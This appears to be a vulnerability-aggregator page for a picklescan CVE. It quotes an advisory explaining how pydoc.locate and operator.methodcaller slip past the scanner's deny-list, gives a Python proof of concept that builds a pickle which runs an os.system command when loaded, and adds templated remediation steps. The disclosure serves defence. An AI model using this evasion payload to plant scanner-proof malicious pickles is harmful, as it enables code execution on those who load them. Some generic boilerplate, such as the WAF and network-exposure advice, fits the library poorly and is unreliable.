Vulnerability in picklescan (CVE-2025-71320)
Summary
Vulnerability in picklescan (CVE-2025-71320). Successful exploitation can lead to full system takeover. Mitigation: upgrade to 0.0.33 or later.
Original description
The description as published by the source.
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Ex…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-71320 has been found in picklescan.
Successful exploitation can lead to full system takeover. CVSS score: 9.8/10.
What to do: upgrade picklescan to 0.0.33 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-71320" on the vendor's site.
CVE-2025-71320 (picklescan) — CWE-184 / CVSS v3 9.8
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 0.0.33 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-184) exists in picklescan.
Check the vendor advisory for the affected versions of picklescan.
Severity: Critical (CVSS 9.8/10). Successful exploitation can lead to full system takeover.
Update to 0.0.33.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.33ステージング環境で 0.0.33 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web disclosure@vulncheck.com
- web github.com
- web github.com
- web github.com
- web github.com